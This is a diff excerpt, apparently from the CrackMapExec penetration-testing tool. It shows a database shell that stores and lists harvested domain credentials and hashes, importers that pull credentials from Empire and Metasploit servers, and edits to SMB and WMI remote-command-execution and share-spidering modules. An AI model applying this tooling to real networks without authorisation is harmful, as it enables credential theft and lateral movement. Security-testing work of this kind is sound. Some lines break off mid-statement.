||||||
|
results = cur.fetchall()
|
||||||
|
cur.close()
|
||||||
|
return len(results) > 0
|
||||||
|
|
||||||
|
def get_credentials(self, filterTerm=None, credtype=None, userID=None):
|
||||||
|
"""
|
||||||
|
Return credentials from the database.
|
||||||
|
"""
|
||||||
|
|
||||||
|
cur = self.conn.cursor()
|
||||||
|
|
||||||
|
# if we're returning a single credential by ID
|
||||||
|
if self.is_credential_valid(filterTerm):
|
||||||
|
cur.execute("SELECT * FROM credentials WHERE id=? LIMIT 1", [filterTerm])
|
||||||
|
|
||||||
|
# if we're filtering by credtype
|
||||||
|
elif credtype:
|
||||||
|
cur.execute("SELECT * FROM credentials WHERE credtype=?", [credtype])
|
||||||
|
|
||||||
|
elif userID:
|
||||||
|
cur.execute("SELECT * FROM credentials WHERE userid=?", [userID])
|
||||||
|
|
||||||
|
# otherwise return all credentials
|
||||||
|
else:
|
||||||
|
cur.execute("SELECT * FROM credentials")
|
||||||
|
|
||||||
|
results = cur.fetchall()
|
||||||
|
cur.close()
|
||||||
|
return results
|
||||||
|
|
||||||
|
def is_user_valid(self, userID):
|
||||||
|
"""
|
||||||
|
Check if this User ID is valid.
|
||||||
|
"""
|
||||||
|
cur = self.conn.cursor()
|
||||||
|
cur.execute('SELECT * FROM users WHERE id=? LIMIT 1', [userID])
|
||||||
|
results = cur.fetchall()
|
||||||
|
cur.close()
|
||||||
|
return len(results) > 0
|
||||||
|
|
||||||
|
def get_users(self, filterTerm=None):
|
||||||
|
|
||||||
|
cur = self.conn.cursor()
|
||||||
|
|
||||||
|
if self.is_user_valid(filterTerm):
|
||||||
|
cur.execute("SELECT * FROM users WHERE id=? LIMIT 1", [filterTerm])
|
||||||
|
|
||||||
|
# if we're filtering by username
|
||||||
|
elif filterTerm and filterTerm != '':
|
||||||
|
cur.execute("SELECT * FROM users WHERE LOWER(username) LIKE LOWER(?)", ['%{}%'.format(filterTerm)])
|
||||||
|
|
||||||
|
else:
|
||||||
|
cur.execute("SELECT * FROM users")
|
||||||
|
|
||||||
|
results = cur.fetchall()
|
||||||
|
cur.close()
|
||||||
|
return results
|
||||||
|
|
||||||
|
def is_host_valid(self, hostID):
|
||||||
|
"""
|
||||||
|
Check if this host ID is valid.
|
||||||
|
"""
|
||||||
|
cur = self.conn.cursor()
|
||||||
|
cur.execute('SELECT * FROM computers WHERE id=? LIMIT 1', [hostID])
|
||||||
|
results = cur.fetchall()
|
||||||
|
cur.close()
|
||||||
|
return len(results) > 0
|
||||||
|
|
||||||
|
def get_hosts(self, filterTerm=None):
|
||||||
|
"""
|
||||||
|
Return hosts from the database.
|
||||||
|
"""
|
||||||
|
|
||||||
|
cur = self.conn.cursor()
|
||||||
|
|
||||||
|
# if we're returning a single host by ID
|
||||||
|
if self.is_host_valid(filterTerm):
|
||||||
|
cur.execute("SELECT * FROM computers WHERE id=? LIMIT 1", [filterTerm])
|
||||||
|
|
||||||
|
# if we're filtering by ip/hostname
|
||||||
|
elif filterTerm and filterTerm != "":
|
||||||
|
cur.execute("SELECT * FROM computers WHERE ip LIKE ? OR LOWER(hostname) LIKE LOWER(?)", ['%{}%'.format(filterTerm), '%{}%'.format(filterTerm)])
|
||||||
|
|
||||||
|
# otherwise return all credentials
|
||||||
|
else:
|
||||||
|
cur.execute("SELECT * FROM computers")
|
||||||
|
|
||||||
|
results = cur.fetchall()
|
||||||
|
cur.close()
|
||||||
|
return results
|
||||||
|
|
||||||
|
def get_group_members(self, groupID):
|
||||||
|
cur = self.conn.cursor()
|
||||||
|
|
||||||
|
cur.execute("SELECT * from group_relations WHERE groupid=?", [groupID])
|
||||||
|
|
||||||
|
results = cur.fetchall()
|
||||||
|
cur.close()
|
||||||
|
return results
|
||||||
|
|
||||||
|
def is_group_valid(self, groupID):
|
||||||
|
"""
|
||||||
|
Check if this group ID is valid.
|
||||||
|
"""
|
||||||
|
cur = self.conn.cursor()
|
||||||
|
cur.execute('SELECT * FROM groups WHERE id=? LIMIT 1', [groupID])
|
||||||
|
results = cur.fetchall()
|
||||||
|
cur.close()
|
||||||
|
return len(results) > 0
|
||||||
|
|
||||||
|
def get_groups(self, filterTerm=None):
|
||||||
|
"""
|
||||||
|
Return groups from the database
|
||||||
|
"""
|
||||||
|
|
||||||
|
cur = self.conn.cursor()
|
||||||
|
|
||||||
|
if self.is_group_valid(filterTerm):
|
||||||
|
cur.execute("SELECT * FROM groups WHERE id=? LIMIT 1", [filterTerm])
|
||||||
|
|
||||||
|
elif filterTerm and filterTerm !="":
|
||||||
|
cur.execute("SELECT * FROM groups WHERE LOWER(name) LIKE LOWER(?)", ['%{}%'.format(filterTerm)])
|
||||||
|
|
||||||
|
else:
|
||||||
|
cur.execute("SELECT * FROM groups")
|
||||||
|
|
||||||
|
results = cur.fetchall()
|
||||||
|
cur.close()
|
||||||
|
return results
|
|
@ -0,0 +1,365 @@
|
||||||
|
import requests
|
||||||
|
from requests import ConnectionError
|
||||||
|
#The following disables the InsecureRequests warning and the 'Starting new HTTPS connection' log message
|
||||||
|
from requests.packages.urllib3.exceptions import InsecureRequestWarning
|
||||||
|
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
|
||||||
|
|
||||||
|
import cmd
|
||||||
|
from time import sleep
|
||||||
|
from cme.msfrpc import Msfrpc
|
||||||
|
from cme.protocols.smb.database import database
|
||||||
|
|
||||||
|
class navigator(cmd.Cmd):
|
||||||
|
def __init__(self, main_menu):
|
||||||
|
cmd.Cmd.__init__(self)
|
||||||
|
|
||||||
|
self.main_menu = main_menu
|
||||||
|
self.config = main_menu.config
|
||||||
|
self.db = database(main_menu.conn)
|
||||||
|
self.prompt = 'cmedb ({})({}) > '.format(main_menu.workspace, 'smb')
|
||||||
|
|
||||||
|
def do_back(self, line):
|
||||||
|
raise
|
||||||
|
|
||||||
|
def display_creds(self, creds):
|
||||||
|
|
||||||
|
print "\nCredentials:\n"
|
||||||
|
print " CredID Admin On CredType Domain UserName Password"
|
||||||
|
print " ------ -------- -------- ------ -------- --------"
|
||||||
|
|
||||||
|
for cred in creds:
|
||||||
|
# (id, credtype, domain, username, password, host, notes, sid)
|
||||||
|
credID = cred[0]
|
||||||
|
credType = cred[1]
|
||||||
|
domain = cred[2]
|
||||||
|
username = cred[3]
|
||||||
|
password = cred[4]
|
||||||
|
|
||||||
|
links = self.db.get_links(credID=credID)
|
||||||
|
|
||||||
|
print u" {}{}{}{}{}{}".format('{:<8}'.format(credID),
|
||||||
|
'{:<13}'.format(str(len(links)) + ' Host(s)'),
|
||||||
|
'{:<12}'.format(credType),
|
||||||
|
u'{:<17}'.format(domain.decode('utf-8')),
|
||||||
|
u'{:<21}'.format(username.decode('utf-8')),
|
||||||
|
u'{:<17}'.format(password.decode('utf-8')))
|
||||||
|
|
||||||
|
print ""
|
||||||
|
|
||||||
|
def display_groups(self, groups):
|
||||||
|
print '\nGroups:\n'
|
||||||
|
print " GroupID Name"
|
||||||
|
print " ------- ----"
|
||||||
|
|
||||||
|
for group in groups:
|
||||||
|
groupID = group[0]
|
||||||
|
name = group[1]
|
||||||
|
|
||||||
|
print u" {} {}".format('{:<8}'.format(groupID), '{:<15}'.format(name))
|
||||||
|
|
||||||
|
print ""
|
||||||
|
|
||||||
|
def display_hosts(self, hosts):
|
||||||
|
|
||||||
|
print "\nHosts:\n"
|
||||||
|
print " HostID Admins IP Hostname Domain OS"
|
||||||
|
print " ------ ------ -- -------- ------ --"
|
||||||
|
|
||||||
|
for host in hosts:
|
||||||
|
# (id, ip, hostname, domain, os)
|
||||||
|
hostID = host[0]
|
||||||
|
ip = host[1]
|
||||||
|
hostname = host[2]
|
||||||
|
domain = host[3]
|
||||||
|
os = host[4]
|
||||||
|
|
||||||
|
links = self.db.get_links(hostID=hostID)
|
||||||
|
|
||||||
|
print u" {}{}{}{}{}{}".format('{:<8}'.format(hostID),
|
||||||
|
'{:<15}'.format(str(len(links)) + ' Cred(s)'),
|
||||||
|
'{:<17}'.format(ip),
|
||||||
|
u'{:<25}'.format(hostname.decode('utf-8')),
|
||||||
|
u'{:<17}'.format(domain.decode('utf-8')),
|
||||||
|
'{:<17}'.format(os))
|
||||||
|
|
||||||
|
print ""
|
||||||
|
|
||||||
|
def do_import(self, line):
|
||||||
|
|
||||||
|
if not line:
|
||||||
|
return
|
||||||
|
|
||||||
|
if line == 'empire':
|
||||||
|
headers = {'Content-Type': 'application/json'}
|
||||||
|
|
||||||
|
#Pull the username and password from the config file
|
||||||
|
payload = {'username': self.config.get('Empire', 'username'),
|
||||||
|
'password': self.config.get('Empire', 'password')}
|
||||||
|
|
||||||
|
#Pull the host and port from the config file
|
||||||
|
base_url = 'https://{}:{}'.format(self.config.get('Empire', 'api_host'), self.config.get('Empire', 'api_port'))
|
||||||
|
|
||||||
|
try:
|
||||||
|
r = requests.post(base_url + '/api/admin/login', json=payload, headers=headers, verify=False)
|
||||||
|
if r.status_code == 200:
|
||||||
|
token = r.json()['token']
|
||||||
|
|
||||||
|
url_params = {'token': token}
|
||||||
|
r = requests.get(base_url + '/api/creds', headers=headers, params=url_params, verify=False)
|
||||||
|
creds = r.json()
|
||||||
|
|
||||||
|
for cred in creds['creds']:
|
||||||
|
if cred['credtype'] == 'token' or cred['credtype'] == 'krbtgt' or cred['username'].endswith('$'):
|
||||||
|
continue
|
||||||
|
|
||||||
|
self.db.add_credential(cred['credtype'], cred['domain'], cred['username'], cred['password'])
|
||||||
|
|
||||||
|
print "[+] Empire credential import successful"
|
||||||
|
else:
|
||||||
|
print "[-] Error authenticating to Empire's RESTful API server!"
|
||||||
|
|
||||||
|
except ConnectionError as e:
|
||||||
|
print "[-] Unable to connect to Empire's RESTful API server: {}".format(e)
|
||||||
|
|
||||||
|
elif line == 'metasploit':
|
||||||
|
msf = Msfrpc({'host': self.config.get('Metasploit', 'rpc_host'),
|
||||||
|
'port': self.config.get('Metasploit', 'rpc_port')})
|
||||||
|
|
||||||
|
try:
|
||||||
|
msf.login('msf', self.config.get('Metasploit', 'password'))
|
||||||
|
except MsfAuthError:
|
||||||
|
print "[-] Error authenticating to Metasploit's MSGRPC server!"
|
||||||
|
return
|
||||||
|
|
||||||
|
console_id = str(msf.call('console.create')['id'])
|
||||||
|
|
||||||
|
msf.call('console.write', [console_id, 'creds\n'])
|
||||||
|
|
||||||
|
sleep(2)
|
||||||
|
|
||||||
|
creds = msf.call('console.read', [console_id])
|
||||||
|
|
||||||
|
for entry in creds['data'].split('\n'):
|
||||||
|
cred = entry.split()
|
||||||
|
try:
|
||||||
|
host = cred[0]
|
||||||
|
port = cred[2]
|
||||||
|
proto = cred[3]
|
||||||
|
username = cred[4]
|
||||||
|
password = cred[5]
|
||||||
|
cred_type = cred[6]
|
||||||
|
|
||||||
|
if proto == '(smb)' and cred_type == 'Password':
|
||||||
|
self.db.add_credential('plaintext', '', username, password)
|
||||||
|
|
||||||
|
except IndexError:
|
||||||
|
continue
|
||||||
|
|
||||||
|
msf.call('console.destroy', [console_id])
|
||||||
|
|
||||||
|
print "[+] Metasploit credential import successful"
|
||||||
|
|
||||||
|
def complete_import(self, text, line, begidx, endidx):
|
||||||
|
"Tab-complete 'import' commands."
|
||||||
|
|
||||||
|
commands = ["empire", "metasploit"]
|
||||||
|
|
||||||
|
mline = line.partition(' ')[2]
|
||||||
|
offs = len(mline) - len(text)
|
||||||
|
return [s[offs:] for s in commands if s.startswith(mline)]
|
||||||
|
|
||||||
|
|
||||||
|
def do_groups(self, line):
|
||||||
|
|
||||||
|
filterTerm = line.strip()
|
||||||
|
|
||||||
|
if filterTerm == "":
|
||||||
|
groups = self.db.get_groups()
|
||||||
|
self.display_groups(groups)
|
||||||
|
|
||||||
|
else:
|
||||||
|
groups = self.db.get_groups(filterTerm=filterTerm)
|
||||||
|
|
||||||
|
if len(groups) > 1:
|
||||||
|
self.display_groups(groups)
|
||||||
|
elif len(groups) == 1:
|
||||||
|
print '\nGroup:\n'
|
||||||
|
print " GroupID Name"
|
||||||
|
print " ------- ----"
|
||||||
|
|
||||||
|
for group in groups:
|
||||||
|
groupID = group[0]
|
||||||
|
name = group[1]
|
||||||
|
|
||||||
|
members = self.db_
|
||||||
|
|
||||||
|
def do_hosts(self, line):
|
||||||
|
|
||||||
|
filterTerm = line.strip()
|
||||||
|
|
||||||
|
if filterTerm == "":
|
||||||
|
hosts = self.db.get_hosts()
|
||||||
|
self.display_hosts(hosts)
|
||||||
|
|
||||||
|
else:
|
||||||
|
hosts = self.db.get_hosts(filterTerm=filterTerm)
|
||||||
|
|
||||||
|
if len(hosts) > 1:
|
||||||
|
self.display_hosts(hosts)
|
||||||
|
elif len(hosts) == 1:
|
||||||
|
print "\nHost(s):\n"
|
||||||
|
print " HostID IP DC Hostname Domain OS"
|
||||||
|
print " ------ -- -- -------- ------ --"
|
||||||
|
|
||||||
|
hostIDList = []
|
||||||
|
|
||||||
|
for host in hosts:
|
||||||
|
hostID = host[0]
|
||||||
|
hostIDList.append(hostID)
|
||||||
|
|
||||||
|
ip = host[1]
|
||||||
|
hostname = host[2]
|
||||||
|
domain = host[3]
|
||||||
|
os = host[4]
|
||||||
|
dc = host[5]
|
||||||
|
|
||||||
|
print u" {}{}{}{}{}".format('{:<8}'.format(hostID),
|
||||||
|
'{:<17}'.format(ip),
|
||||||
|
'{:<17}'.format(dc),
|
||||||
|
u'{:<25}'.format(hostname.decode('utf-8')),
|
||||||
|
u'{:<17}'.format(domain.decode('utf-8')),
|
||||||
|
'{:<17}'.format(os))
|
||||||
|
|
||||||
|
print ""
|
||||||
|
|
||||||
|
print "\nCredential(s) with Admin Access:\n"
|
||||||
|
print " CredID CredType Domain UserName Password"
|
||||||
|
print " ------ -------- ------ -------- --------"
|
||||||
|
|
||||||
|
for hostID in hostIDList:
|
||||||
|
links = self.db.get_links(hostID=hostID)
|
||||||
|
|
||||||
|
for link in links:
|
||||||
|
linkID, credID, hostID = link
|
||||||
|
creds = self.db.get_credentials(filterTerm=credID)
|
||||||
|
|
||||||
|
for cred in creds:
|
||||||
|
credID = cred[0]
|
||||||
|
credType = cred[1]
|
||||||
|
domain = cred[2]
|
||||||
|
username = cred[3]
|
||||||
|
password = cred[4]
|
||||||
|
|
||||||
|
print u" {}{}{}{}{}".format('{:<8}'.format(credID),
|
||||||
|
'{:<12}'.format(credType),
|
||||||
|
u'{:<17}'.format(domain.decode('utf-8')),
|
||||||
|
u'{:<21}'.format(username.decode('utf-8')),
|
||||||
|
u'{:<17}'.format(password.decode('utf-8')))
|
||||||
|
|
||||||
|
print ""
|
||||||
|
|
||||||
|
def do_creds(self, line):
|
||||||
|
|
||||||
|
filterTerm = line.strip()
|
||||||
|
|
||||||
|
if filterTerm == "":
|
||||||
|
creds = self.db.get_credentials()
|
||||||
|
self.display_creds(creds)
|
||||||
|
|
||||||
|
elif filterTerm.split()[0].lower() == "add":
|
||||||
|
|
||||||
|
# add format: "domain username password <notes> <credType> <sid>
|
||||||
|
args = filterTerm.split()[1:]
|
||||||
|
|
||||||
|
if len(args) == 3:
|
||||||
|
domain, username, password = args
|
||||||
|
if validate_ntlm(password):
|
||||||
|
self.db.add_credential("hash", domain, username, password)
|
||||||
|
else:
|
||||||
|
self.db.add_credential("plaintext", domain, username, password)
|
||||||
|
|
||||||
|
else:
|
||||||
|
print "[!] Format is 'add domain username password"
|
||||||
|
return
|
||||||
|
|
||||||
|
elif filterTerm.split()[0].lower() == "remove":
|
||||||
|
|
||||||
|
args = filterTerm.split()[1:]
|
||||||
|
if len(args) != 1 :
|
||||||
|
print "[!] Format is 'remove <credID>'"
|
||||||
|
return
|
||||||
|
else:
|
||||||
|
self.db.remove_credentials(args)
|
||||||
|
self.db.remove_links(credIDs=args)
|
||||||
|
|
||||||
|
elif filterTerm.split()[0].lower() == "plaintext":
|
||||||
|
creds = self.db.get_credentials(credtype="plaintext")
|
||||||
|
self.display_creds(creds)
|
||||||
|
|
||||||
|
elif filterTerm.split()[0].lower() == "hash":
|
||||||
|
creds = self.db.get_credentials(credtype="hash")
|
||||||
|
self.display_creds(creds)
|
||||||
|
|
||||||
|
else:
|
||||||
|
creds = self.db.get_credentials(filterTerm=filterTerm)
|
||||||
|
|
||||||
|
print "\nCredential(s):\n"
|
||||||
|
print " CredID CredType Pillaged From HostID Domain UserName Password"
|
||||||
|
print " ------ -------- -------------------- ------ -------- --------"
|
||||||
|
|
||||||
|
credIDList = []
|
||||||
|
|
||||||
|
for cred in creds:
|
||||||
|
credID = cred[0]
|
||||||
|
credIDList.append(credID)
|
||||||
|
|
||||||
|
credType = cred[1]
|
||||||
|
domain = cred[2]
|
||||||
|
username = cred[3]
|
||||||
|
password = cred[4]
|
||||||
|
pillaged_from = cred[5]
|
||||||
|
|
||||||
|
print u" {}{}{}{}{}{}".format('{:<8}'.format(credID),
|
||||||
|
'{:<12}'.format(credType),
|
||||||
|
'{:<22}'.format(pillaged_from),
|
||||||
|
u'{:<17}'.format(domain.decode('utf-8')),
|
||||||
|
u'{:<21}'.format(username.decode('utf-8')),
|
||||||
|
u'{:<17}'.format(password.decode('utf-8'))
|
||||||
|
)
|
||||||
|
|
||||||
|
print ""
|
||||||
|
|
||||||
|
print "\nAdmin Access to Host(s):\n"
|
||||||
|
print " HostID IP Hostname Domain OS"
|
||||||
|
print " ------ -- -------- ------ --"
|
||||||
|
|
||||||
|
for credID in credIDList:
|
||||||
|
links = self.db.get_links(credID=credID)
|
||||||
|
|
||||||
|
for link in links:
|
||||||
|
linkID, credID, hostID = link
|
||||||
|
hosts = self.db.get_hosts(hostID)
|
||||||
|
|
||||||
|
for host in hosts:
|
||||||
|
hostID = host[0]
|
||||||
|
ip = host[1]
|
||||||
|
hostname = host[2]
|
||||||
|
domain = host[3]
|
||||||
|
os = host[4]
|
||||||
|
|
||||||
|
print u" {}{}{}{}{}".format('{:<8}'.format(hostID),
|
||||||
|
'{:<17}'.format(ip),
|
||||||
|
u'{:<25}'.format(hostname.decode('utf-8')),
|
||||||
|
u'{:<17}'.format(domain.decode('utf-8')),
|
||||||
|
'{:<17}'.format(os))
|
||||||
|
|
||||||
|
print ""
|
||||||
|
|
||||||
|
def complete_creds(self, text, line, begidx, endidx):
|
||||||
|
"Tab-complete 'creds' commands."
|
||||||
|
|
||||||
|
commands = [ "add", "remove", "hash", "plaintext"]
|
||||||
|
|
||||||
|
mline = line.partition(' ')[2]
|
||||||
|
offs = len(mline) - len(text)
|
||||||
|
return [s[offs:] for s in commands if s.startswith(mline)]
|
|
@ -3,7 +3,7 @@ import os
|
||||||
from gevent import sleep
|
from gevent import sleep
|
||||||
from impacket.dcerpc.v5 import transport, scmr
|
from impacket.dcerpc.v5 import transport, scmr
|
||||||
from impacket.smbconnection import *
|
from impacket.smbconnection import *
|
||||||
from cme.helpers import gen_random_string
|
from cme.helpers.misc import gen_random_string
|
||||||
|
|
||||||
class SMBEXEC:
|
class SMBEXEC:
|
||||||
|
|
||||||
|
@ -44,7 +44,7 @@ class SMBEXEC:
|
||||||
logging.debug('StringBinding %s'%stringbinding)
|
logging.debug('StringBinding %s'%stringbinding)
|
||||||
self.__rpctransport = transport.DCERPCTransportFactory(stringbinding)
|
self.__rpctransport = transport.DCERPCTransportFactory(stringbinding)
|
||||||
self.__rpctransport.set_dport(self.__port)
|
self.__rpctransport.set_dport(self.__port)
|
||||||
|
|
||||||
if hasattr(self.__rpctransport, 'setRemoteHost'):
|
if hasattr(self.__rpctransport, 'setRemoteHost'):
|
||||||
self.__rpctransport.setRemoteHost(self.__host)
|
self.__rpctransport.setRemoteHost(self.__host)
|
||||||
if hasattr(self.__rpctransport, 'set_credentials'):
|
if hasattr(self.__rpctransport, 'set_credentials'):
|
||||||
|
@ -101,7 +101,7 @@ class SMBEXEC:
|
||||||
self.get_output_fileless()
|
self.get_output_fileless()
|
||||||
|
|
||||||
def get_output_fileless(self):
|
def get_output_fileless(self):
|
||||||
if not self.__retOutput: return
|
if not self.__retOutput: return
|
||||||
|
|
||||||
while True:
|
while True:
|
||||||
try:
|
try:
|
||||||
|
@ -115,7 +115,7 @@ class SMBEXEC:
|
||||||
# Just in case the service is still created
|
# Just in case the service is still created
|
||||||
try:
|
try:
|
||||||
self.__scmr = self.__rpctransport.get_dce_rpc()
|
self.__scmr = self.__rpctransport.get_dce_rpc()
|
||||||
self.__scmr.connect()
|
self.__scmr.connect()
|
||||||
self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
|
self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
|
||||||
resp = scmr.hROpenSCManagerW(self.__scmr)
|
resp = scmr.hROpenSCManagerW(self.__scmr)
|
||||||
self.__scHandle = resp['lpScHandle']
|
self.__scHandle = resp['lpScHandle']
|
|
@ -1,8 +1,9 @@
|
||||||
from time import time, strftime, localtime
|
from time import time, strftime, localtime
|
||||||
from cme.remotefile import RemoteFile
|
from cme.protocols.smb.remotefile import RemoteFile
|
||||||
from impacket.smb3structs import FILE_READ_DATA
|
from impacket.smb3structs import FILE_READ_DATA
|
||||||
from impacket.smbconnection import SessionError
|
from impacket.smbconnection import SessionError
|
||||||
from sys import exit
|
from sys import exit
|
||||||
|
import logging
|
||||||
import re
|
import re
|
||||||
import traceback
|
import traceback
|
||||||
|
|
||||||
|
@ -57,9 +58,8 @@ class SMBSpider:
|
||||||
return
|
return
|
||||||
except SessionError as e:
|
except SessionError as e:
|
||||||
if not filelist:
|
if not filelist:
|
||||||
self.logger.error("Failed to connect to share {}: {}".format(self.args.share, e))
|
logging.debug("Failed listing files on share {} in directory {}: {}".format(self.args.share, subfolder, e))
|
||||||
return
|
return
|
||||||
pass
|
|
||||||
|
|
||||||
for result in filelist:
|
for result in filelist:
|
||||||
if result.is_directory() and result.get_longname() != '.' and result.get_longname() != '..':
|
if result.is_directory() and result.get_longname() != '.' and result.get_longname() != '..':
|
||||||
|
@ -103,12 +103,9 @@ class SMBSpider:
|
||||||
return
|
return
|
||||||
|
|
||||||
def search_content(self, path, result):
|
def search_content(self, path, result):
|
||||||
path = path.replace('*', '')
|
path = path.replace('*', '')
|
||||||
try:
|
try:
|
||||||
rfile = RemoteFile(self.smbconnection,
|
rfile = RemoteFile(self.smbconnection, path + result.get_longname(), self.args.share, access = FILE_READ_DATA)
|
||||||
path + result.get_longname(),
|
|
||||||
self.args.share,
|
|
||||||
access = FILE_READ_DATA)
|
|
||||||
rfile.open()
|
rfile.open()
|
||||||
|
|
||||||
while True:
|
while True:
|
||||||
|
@ -130,7 +127,7 @@ class SMBSpider:
|
||||||
self.logger.highlight(u"//{}/{}{} [lastm:'{}' size:{} offset:{} pattern:'{}']".format(self.args.share,
|
self.logger.highlight(u"//{}/{}{} [lastm:'{}' size:{} offset:{} pattern:'{}']".format(self.args.share,
|
||||||
path,
|
path,
|
||||||
result.get_longname(),
|
result.get_longname(),
|
||||||
'n\\a' if not self.get_lastm_time(result) else self.get_lastm_time(result),
|
'n\\a' if not self.get_lastm_time(result) else self.get_lastm_time(result),
|
||||||
result.get_filesize(),
|
result.get_filesize(),
|
||||||
rfile.tell(),
|
rfile.tell(),
|
||||||
pattern))
|
pattern))
|
||||||
|
@ -141,7 +138,7 @@ class SMBSpider:
|
||||||
self.logger.highlight(u"//{}/{}{} [lastm:'{}' size:{} offset:{} regex:'{}']".format(self.args.share,
|
self.logger.highlight(u"//{}/{}{} [lastm:'{}' size:{} offset:{} regex:'{}']".format(self.args.share,
|
||||||
path,
|
path,
|
||||||
result.get_longname(),
|
result.get_longname(),
|
||||||
'n\\a' if not self.get_lastm_time(result) else self.get_lastm_time(result),
|
'n\\a' if not self.get_lastm_time(result) else self.get_lastm_time(result),
|
||||||
result.get_filesize(),
|
result.get_filesize(),
|
||||||
rfile.tell(),
|
rfile.tell(),
|
||||||
regex.pattern))
|
regex.pattern))
|
||||||
|
@ -156,4 +153,4 @@ class SMBSpider:
|
||||||
traceback.print_exc()
|
traceback.print_exc()
|
||||||
|
|
||||||
def finish(self):
|
def finish(self):
|
||||||
self.logger.info("Done spidering (Completed in {})".format(time() - self.start_time))
|
self.logger.info("Done spidering (Completed in {})".format(time() - self.start_time))
|
|
@ -2,7 +2,7 @@ import ntpath, logging
|
||||||
import os
|
import os
|
||||||
|
|
||||||
from gevent import sleep
|
from gevent import sleep
|
||||||
from cme.helpers import gen_random_string
|
from cme.helpers.misc import gen_random_string
|
||||||
from impacket.dcerpc.v5.dcomrt import DCOMConnection
|
from impacket.dcerpc.v5.dcomrt import DCOMConnection
|
||||||
from impacket.dcerpc.v5.dcom import wmi
|
from impacket.dcerpc.v5.dcom import wmi
|
||||||
from impacket.dcerpc.v5.dtypes import NULL
|
from impacket.dcerpc.v5.dtypes import NULL
|
||||||
|
@ -34,7 +34,7 @@ class WMIEXEC:
|
||||||
self.__nthash = hashes
|
self.__nthash = hashes
|
||||||
|
|
||||||
if self.__password is None:
|
if self.__password is None:
|
||||||
self.__password = ''
|
self.__password = ''
|
||||||
|
|
||||||
self.__dcom = DCOMConnection(self.__target, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, oxidResolver = True, doKerberos=self.__doKerberos)
|
self.__dcom = DCOMConnection(self.__target, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, oxidResolver = True, doKerberos=self.__doKerberos)
|
||||||
iInterface = self.__dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login)
|
iInterface = self.__dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login)
|
||||||
|
@ -80,7 +80,7 @@ class WMIEXEC:
|
||||||
def execute_remote(self, data):
|
def execute_remote(self, data):
|
||||||
self.__output = '\\Windows\\Temp\\' + gen_random_string(6)
|
self.__output = '\\Windows\\Temp\\' + gen_random_string(6)
|
||||||
|
|
||||||
command = self.__shell + data
|
command = self.__shell + data
|
||||||
if self.__retOutput:
|
if self.__retOutput:
|
||||||
command += ' 1> ' + '\\\\127.0.0.1\\%s' % self.__share + self.__output + ' 2>&1'
|
command += ' 1> ' + '\\\\127.0.0.1\\%s' % self.__share + self.__output + ' 2>&1'
|
||||||
|
|
||||||
|
@ -125,4 +125,4 @@ class WMIEXEC:
|
||||||
#print str(e)
|
#print str(e)
|
||||||
pass
|
pass
|
||||||
|
|
||||||
self.__smbconnection.deleteFile(self.__share, self.__output)
|
self.__smbconnection.deleteFile(self.__share, self.__output)
|
|
@ -1,509 +0,0 @@
|
||||||
import logging
|
|
||||||
import random
|
|
||||||
import string
|
|
||||||
from gevent import sleep
|
|
||||||
from impacket.dcerpc.v5.rpcrt import DCERPCException
|
|
||||||
from impacket.dcerpc.v5 import transport, drsuapi, scmr, rrp, samr, epm
|
|
||||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY
|
|
||||||
from impacket.dcerpc.v5.dtypes import NULL
|
|
||||||
from cme.credentials.ntds import NTDSHashes
|
|
||||||
from binascii import unhexlify, hexlify
|
|
||||||
from cme.remotefile import RemoteFile
|
|
||||||
|
|
||||||
class RemoteOperations:
|
|
||||||
def __init__(self, smbConnection, doKerberos):
|
|
||||||
self.__smbConnection = smbConnection
|
|
||||||
self.__smbConnection.setTimeout(5*60)
|
|
||||||
self.__serviceName = 'RemoteRegistry'
|
|
||||||
self.__stringBindingWinReg = r'ncacn_np:445[\pipe\winreg]'
|
|
||||||
self.__rrp = None
|
|
||||||
self.__regHandle = None
|
|
||||||
|
|
||||||
self.__stringBindingSamr = r'ncacn_np:445[\pipe\samr]'
|
|
||||||
self.__samr = None
|
|
||||||
self.__domainHandle = None
|
|
||||||
self.__domainName = None
|
|
||||||
|
|
||||||
self.__drsr = None
|
|
||||||
self.__hDrs = None
|
|
||||||
self.__NtdsDsaObjectGuid = None
|
|
||||||
self.__ppartialAttrSet = None
|
|
||||||
self.__prefixTable = []
|
|
||||||
self.__doKerberos = doKerberos
|
|
||||||
|
|
||||||
self.__bootKey = ''
|
|
||||||
self.__disabled = False
|
|
||||||
self.__shouldStop = False
|
|
||||||
self.__started = False
|
|
||||||
|
|
||||||
self.__stringBindingSvcCtl = r'ncacn_np:445[\pipe\svcctl]'
|
|
||||||
self.__scmr = None
|
|
||||||
self.__tmpServiceName = None
|
|
||||||
self.__serviceDeleted = False
|
|
||||||
|
|
||||||
self.__batchFile = '%TEMP%\\execute.bat'
|
|
||||||
self.__shell = '%COMSPEC% /Q /c '
|
|
||||||
self.__output = '%SYSTEMROOT%\\Temp\\__output'
|
|
||||||
self.__answerTMP = ''
|
|
||||||
|
|
||||||
def __connectSvcCtl(self):
|
|
||||||
rpc = transport.DCERPCTransportFactory(self.__stringBindingSvcCtl)
|
|
||||||
rpc.set_smb_connection(self.__smbConnection)
|
|
||||||
self.__scmr = rpc.get_dce_rpc()
|
|
||||||
self.__scmr.connect()
|
|
||||||
self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
|
|
||||||
|
|
||||||
def __connectWinReg(self):
|
|
||||||
rpc = transport.DCERPCTransportFactory(self.__stringBindingWinReg)
|
|
||||||
rpc.set_smb_connection(self.__smbConnection)
|
|
||||||
self.__rrp = rpc.get_dce_rpc()
|
|
||||||
self.__rrp.connect()
|
|
||||||
self.__rrp.bind(rrp.MSRPC_UUID_RRP)
|
|
||||||
|
|
||||||
def connectSamr(self, domain):
|
|
||||||
rpc = transport.DCERPCTransportFactory(self.__stringBindingSamr)
|
|
||||||
rpc.set_smb_connection(self.__smbConnection)
|
|
||||||
self.__samr = rpc.get_dce_rpc()
|
|
||||||
self.__samr.connect()
|
|
||||||
self.__samr.bind(samr.MSRPC_UUID_SAMR)
|
|
||||||
resp = samr.hSamrConnect(self.__samr)
|
|
||||||
